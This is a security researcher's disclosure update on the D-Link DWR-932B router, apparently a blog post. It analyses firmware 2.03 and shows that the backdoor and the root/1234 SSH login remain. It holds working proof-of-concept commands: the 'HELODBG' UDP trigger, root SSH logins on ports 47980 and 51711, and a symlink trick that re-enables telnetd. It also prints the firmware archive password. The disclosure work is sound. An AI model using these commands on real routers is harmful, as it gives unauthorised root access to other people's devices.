Update - Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...) - Analysis of the corrected firmware

An update on the post "Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)":

MITRE has provided me with CVE numbers.

CVE-2016-10177 for #1 (Backdoor accounts)

CVE-2016-10178 for #2 (Backdoor)

CVE-2016-10179 for #3 (hardcoded WPS PIN)

CVE-2016-10180 for #4 (WPS PIN generation based on srand(time(0)) seeding)

CVE-2016-10181 for #5 (qmiweb leaks information)

CVE-2016-10182 for #6 (qmiweb allows command injection with ` characters)

CVE-2016-10183 for #7 (qmiweb allows directory listing with ../ traversal)

CVE-2016-10184 for #8 (qmiweb allows file reading with ..%2f traversal)

CVE-2016-10185 for #9 (A secure_mode=no line exists in /var/miniupnpd.conf)

CVE-2016-10186 for #10 (/var/miniupnpd.conf has no deny rules)

Although D-link did not acknowledge all the vulnerabilities on its products, it released a new firmware on Oct 19, 2016 (DWR-932_fw_revB_2_03_eu_en_20161011.zip) that should fix several RCEs and backdoors. According to D-Link, there is no vulnerability as long as "potential attackers cannot connect to the secure wi-fi network"[1] - does it mean the product is secure as long as there are no attackers?

A reader will note that D-Link did have a full advisory with PoCs for more than 100 days while taking no actions before public disclosure and he/she will surely be able to verify the vulnerabilities by downloading an affected firmware and reversing the binaries (see my blog post for details).

D-Link did not make any effort to contact the security researcher even after the initial advisory was published, but it posted its official answers and patches on their website that the security researcher found "by chance".

However, the corrected firmware still appears to have the backdoor in execution. The only security patches they made were:

renaming /sbin/telnetd to /sbin/xxlnetd (so the appmgr backdoor cannot be used by an attacker), dropbear is now listening to port 47980/tcp or to port 999999999/tcp instead of 22/tcp (still with root/1234 ).

The appmgr backdoor is still present and running but ineffective (as /sbin/telnetd doesn't exist anymore):

root@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 <- will NOT start a telnetd on port 23/tcp because /sbin/telnetd was removed

Interesting fact: Starting Dropbear with port 999999999/tcp will result in dropbear using the port 51711/tcp instead ( 999999999 & 0xFFFF ).

So, an attacker can still use the backdoor access to continue to root the device. With SSH:

root@kali:~$ ssh -l root -p 47980 192.168.1.1 <- will provide a root shell with "1234" as a password.

OR

root@kali:~$ ssh -l root -p 51711 192.168.1.1 <- will provide a root shell with "1234" as a password.

Following the reaction from D-Link and the lack of quality of the security patches, I finally advise users to trash their affected routers and I encourage security researchers to review security patches provided from D-Link instead of blindly trusting them.

Note that future 0day vulnerabilities regarding D-Link products may be released at my will without coordinated disclosure ("Full disclosure").

"ALTERNATIVE FACT" - backdoor access are still present inside the new firmware:

I would like to thank Gianni Carabelli for finding the password of the zip file provided by D-Link.

root@kali:~# wget ftp://anonymous:lolz@ftp.dlink.eu/Products/dwr/dwr-932/driver_software/DWR-932_fw_revB_2_03_eu_en_20161011.zip root@kali:~# sha256sum DWR-932_fw_revB_2_03_eu_en_20161011.zip # in case of a modification of this file by D-link fb721979b235c9da9a9b8e505767ce04410b8c7f5035a73ac2c4cc0b9cada3bd DWR-932_fw_revB_2_03_eu_en_20161011.zip root@kali:~# dd if=DWR-932_fw_revB_2_03_eu_en_20161011.zip of=firmware.zip bs=64 skip=1 993106+1 records in 993106+1 records out 63558829 bytes (64 MB) copied, 1.29239 s, 49.2 MB/s root@kali:~# mkdir output && cd output && 7z x -pbeUT9Z ../firmware.zip root@kali:~/output# 7z x -pbeUT9Z firmware.zip 7-Zip 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU) Processing archive: ../firmware.zip Extracting 02.03EU Extracting 2K-cksum.txt Extracting 2K-mdm-image-mdm9625.yaffs2 Extracting appsboot.mbn Extracting mba.mbn Extracting mdm-image-boot-mdm9625.img Extracting mdm-image-mdm9625.yaffs2 Extracting mdm-recovery-image-boot-mdm9625.img Extracting mdm-recovery-image-mdm9625.yaffs2 Extracting mdm9625-usr-image.usrfs.yaffs2 Extracting qdsp6sw.mbn Extracting rpm.mbn Extracting sbl1.mbn Extracting tz.mbn Extracting wdt.mbn Everything is Ok Files: 15 Size: 145018347 Compressed: 63558829 root@kali:~/output# ls -latr total 141640 -rwx------ 1 root root 7840 Jul 18 2014 wdt.mbn -rwx------ 1 root root 266648 Jul 18 2014 tz.mbn -rwx------ 1 root root 262144 Jul 18 2014 sbl1.mbn -rwx------ 1 root root 147432 Jul 18 2014 rpm.mbn -rwx------ 1 root root 42338681 Jul 18 2014 qdsp6sw.mbn -rw------- 1 root root 3823616 Jul 18 2014 mdm-recovery-image-boot-mdm9625.img -rw------- 1 root root 3823616 Jul 18 2014 mdm-image-boot-mdm9625.img -rwx------ 1 root root 365464 Jul 18 2014 mba.mbn -rwx------ 1 root root 69872 Jul 18 2014 appsboot.mbn -rw------- 1 root root 14733312 Oct 10 23:16 mdm-recovery-image-mdm9625.yaffs2 -rw------- 1 root root 25869888 Oct 10 23:16 mdm-image-mdm9625.yaffs2 -rw------- 1 root root 25869888 Oct 11 02:37 2K-mdm-image-mdm9625.yaffs2 -rw------- 1 root root 27439104 Oct 11 03:19 mdm9625-usr-image.usrfs.yaffs2 -rw------- 1 root root 842 Oct 11 03:19 2K-cksum.txt -rw------- 1 root root 0 Oct 11 03:19 02.03EU drwx------ 2 root root 340 Nov 10 17:07 . drwx------ 3 root root 80 Nov 10 17:24 .. root@kali:~/output# mkdir 1 && cd 1 && unyaffs ../mdm9625-usr-image.usrfs.yaffs2

Only etc/versions was updated in mdm9625-usr-image.usrfs.yaffs2 . No useful information.

Diff is:

1c1 < fw_version=02.02EU --- > fw_version=02.03EU 7c7 < model_name=beUT9Z --- > model_name=beUT9Z#

mdm-recovery-image-mdm9625.yaffs2 was unchanged compared to 2.02 version.

Let's dig 2K-mdm-image-mdm9625.yaffs2 :

root@kali:~/output/1# cd .. && mkdir 2 && cd 2 && unyaffs ../2K-mdm-image-mdm9625.yaffs2 root@kali:~/output/2# ls -latr total 4 drwxr-xr-x 2 root root 40 Jul 18 2014 sys drwxr-xr-x 2 root root 40 Jul 18 2014 proc drwxr-xr-x 2 root root 1300 Jul 18 2014 dev drwxr-xr-x 2 root root 40 Jul 18 2014 boot drwxr-xr-x 7 root root 240 Jul 18 2014 var lrwxrwxrwx 1 root root 8 Jul 18 2014 www -> /usr/www lrwxrwxrwx 1 root root 11 Jul 18 2014 sdcard -> /media/card drwxr-xr-x 2 root root 120 Jul 18 2014 mnt drwxr-xr-x 10 root root 200 Jul 18 2014 media drwxr-sr-x 3 root root 60 Jul 18 2014 home drwxr-xr-x 2 root root 60 Jul 18 2014 disk drwxr-xr-x 3 root root 60 Jul 18 2014 WEBSERVER lrwxrwxrwx 1 root root 12 Jul 18 2014 linuxrc -> /bin/busybox drwxr-xr-x 2 root root 6020 Jul 18 2014 bin drwxr-xr-x 2 root root 40 Jul 18 2014 usr drwxrwxrwt 2 root root 40 Jul 18 2014 tmp drwxr-xr-x 4 root root 1140 Jul 18 2014 lib drwxr-xr-x 31 root root 1680 Jul 18 2014 etc drwxr-xr-x 2 root root 40 Jul 18 2014 config2 drwxr-xr-x 2 root root 40 Jul 18 2014 config drwxr-xr-x 2 root root 40 Jul 18 2014 cache -rw-r--r-- 1 root root 38 Jul 18 2014 build.prop drwxr-xr-x 21 root root 500 Jul 18 2014 . drwxr-xr-x 2 root root 3040 Oct 10 23:12 sbin drwx------ 4 root root 380 Nov 10 17:26 .. root@kali:~/output/2# ls -latr etc/init.d|tail -rwxr-xr-x 1 root root 2015 Jul 18 2014 reboot -rwxr-xr-x 1 root root 10835 Jul 18 2014 power_config -rwxr-xr-x 1 root root 2138 Jul 18 2014 start_ipacm_le -rwxr-xr-x 1 root root 609 Jul 18 2014 run-postinsts -rwxr-xr-x 1 root root 2178 Jul 18 2014 start_appmgr lrwxrwxrwx 1 root root 8 Jul 18 2014 stop-bootlogd -> bootlogd lrwxrwxrwx 1 root root 14 Jul 18 2014 syslog -> syslog.busybox drwxr-xr-x 31 root root 1680 Jul 18 2014 .. -rwxr-xr-x 1 root root 2681 Oct 11 02:33 dropbear drwxr-xr-x 2 root root 1180 Oct 11 02:33 . root@kali:~/output/2#

Backdoor is still started at boot (same SHA256):

root@kali:~/output/2# ls -latr ./etc/init.d/start_appmgr -rwxr-xr-x 1 root root 2178 Jul 18 2014 ./etc/init.d/start_appmgr root@kali:~/output/2# ls -latr bin/appmgr -rwxr-xr-x 1 root root 505728 Jul 18 2014 bin/appmgr root@kali:~/output/2# sha256sum bin/appmgr 5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20 bin/appmgr root@kali:~/output/2# strings bin/appmgr|grep -i DBG am_comdbg HELODBG BYEDBG [DBG] Read content <%s> from file... /var/lte6dbg.log /var/bgdbg.log /config/dbglog_ipt6 /var/cmdbg.log root@kali:~/output/2#

Wow a patch ! Dropbear will listen to port 999999999/tcp (are you sure you want to do this because 999999999 & 0xFFFF = 51711 ?)

root@kali:~/output/2# head -n 30 etc/init.d/dropbear #!/bin/sh ### BEGIN INIT INFO # Provides: sshd # Required-Start: $remote_fs $syslog $networking # Required-Stop: $remote_fs $syslog # Default-Start: 2 3 4 5 # Default-Stop: 1 # Short-Description: Dropbear Secure Shell server ### END INIT INFO # # Do not configure this file. Edit /etc/default/dropbear instead! # PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin DAEMON=/usr/sbin/dropbear NAME=dropbear DESC="Dropbear SSH server" DROPBEAR_PORT=999999999 DROPBEAR_EXTRA_ARGS= NO_START=0 set -e test ! -r /etc/default/dropbear || . /etc/default/dropbear test "$NO_START" = "0" || exit 0 test -x "$DAEMON" || exit 0 test ! -h /var/service/dropbear || exit 0 readonly_rootfs=0 root@kali:~/output/2#

Still the same passwords ( root / 1234 ):

root@kali:~/output/2# john etc/shadow Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2]) Press 'q' or Ctrl-C to abort, almost any other key for status 1234 (root) 1g 0:00:00:00 100% 2/3 12.50g/s 25162p/s 25162c/s 25162C/s 123456..marley Use the "--show" option to display all of the cracked passwords reliably Session completed

Now with mdm-image-mdm9625.yaffs2 (this appears to be a "test image", without the dropbear tweak):

root@kali:~/output/2# cd .. && mkdir 3 && cd 3 && unyaffs ../mdm-image-mdm9625.yaffs2

Backdoor is still started at boot (same SHA256):

root@kali:~/output/3# ls -latr ./etc/init.d/start_appmgr -rwxr-xr-x 1 root root 2178 Jul 18 2014 ./etc/init.d/start_appmgr root@kali:~/output/3# ls -latr bin/appmgr -rwxr-xr-x 1 root root 505728 Jul 18 2014 bin/appmgr root@kali:~/output/3# sha256sum bin/appmgr 5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20 bin/appmgr root@kali:~/output/3# strings bin/appmgr|grep -i DBG am_comdbg HELODBG BYEDBG [DBG] Read content <%s> from file... /var/lte6dbg.log /var/bgdbg.log /config/dbglog_ipt6 /var/cmdbg.log root@kali:~/output/3#

Wow, the final patch! Dropbear is now listening to port 47980/tcp.

root@kali:~/output/3# ls -latr etc/init.d|tail -rwxr-xr-x 1 root root 2015 Jul 18 2014 reboot -rwxr-xr-x 1 root root 10835 Jul 18 2014 power_config -rwxr-xr-x 1 root root 2138 Jul 18 2014 start_ipacm_le -rwxr-xr-x 1 root root 609 Jul 18 2014 run-postinsts -rwxr-xr-x 1 root root 2178 Jul 18 2014 start_appmgr lrwxrwxrwx 1 root root 8 Jul 18 2014 stop-bootlogd -> bootlogd lrwxrwxrwx 1 root root 14 Jul 18 2014 syslog -> syslog.busybox drwxr-xr-x 31 root root 4096 Jul 18 2014 .. -rwxr-xr-x 1 root root 2677 Oct 10 23:11 dropbear drwxr-xr-x 2 root root 4096 Oct 10 23:11 . root@kali:~/output/3# head -n 30 etc/init.d/dropbear #!/bin/sh ### BEGIN INIT INFO # Provides: sshd # Required-Start: $remote_fs $syslog $networking # Required-Stop: $remote_fs $syslog # Default-Start: 2 3 4 5 # Default-Stop: 1 # Short-Description: Dropbear Secure Shell server ### END INIT INFO # # Do not configure this file. Edit /etc/default/dropbear instead! # PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin DAEMON=/usr/sbin/dropbear NAME=dropbear DESC="Dropbear SSH server" DROPBEAR_PORT=47980 DROPBEAR_EXTRA_ARGS= NO_START=0 set -e test ! -r /etc/default/dropbear || . /etc/default/dropbear test "$NO_START" = "0" || exit 0 test -x "$DAEMON" || exit 0 test ! -h /var/service/dropbear || exit 0 readonly_rootfs=0

It took 5 months for D-Link to produce these security patches. It appears only 1 vulnerability was patched.

Diff between 2.02 version (vulnerable) and 2.03 version ("patched"):

root@kali:~# diff 202/2K/etc/init.d/dropbear 203/2K/etc/init.d/dropbear 19c19 < DROPBEAR_PORT=22 --- > DROPBEAR_PORT=999999999 root@kali:~#

And:

> /sbin/xxlnetd < /sbin/telnetd

And finally:

root@kali:~# diff 202/usr/etc/versions 203/usr/etc/init.d/dropbear < fw_version=02.02EU --- > fw_version=02.03EU 7c7 < model_name=beUT9Z --- > model_name=beUT9Z# root@kali:~#

And the final PoC:

root@kali:~# ssh -l root -p 51711 192.168.1.1 The authenticity of host '[192.168.1.1]:51711 ([192.168.1.1]:51711)' can't be established. RSA key fingerprint is SHA256:0RCgva9fjvPn6TkN89hkVQHIpHkKfvfsGmYtnOgki0g. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[192.168.1.1]:51711' (RSA) to the list of known hosts. root@192.168.1.1's password: root@homerouter:~# ps -a|grep dropbear 352 root 0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999 1190 root 0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999 1203 root 0:00 grep dropbear root@homerouter:~# netstat -antelapu|grep drop tcp 0 0 0.0.0.0:51711 0.0.0.0:* LISTEN 318/dropbear tcp 0 0 192.168.1.1:51711 192.168.1.2:44924 ESTABLISHED 1061/dropbear tcp 0 0 :::51711 :::* LISTEN 318/dropbear root@homerouter:~#

Then, the DBG backdoor can be reactivated by an attacker just by adding a symlink from /sbin/telnetd to /sbin/busybox .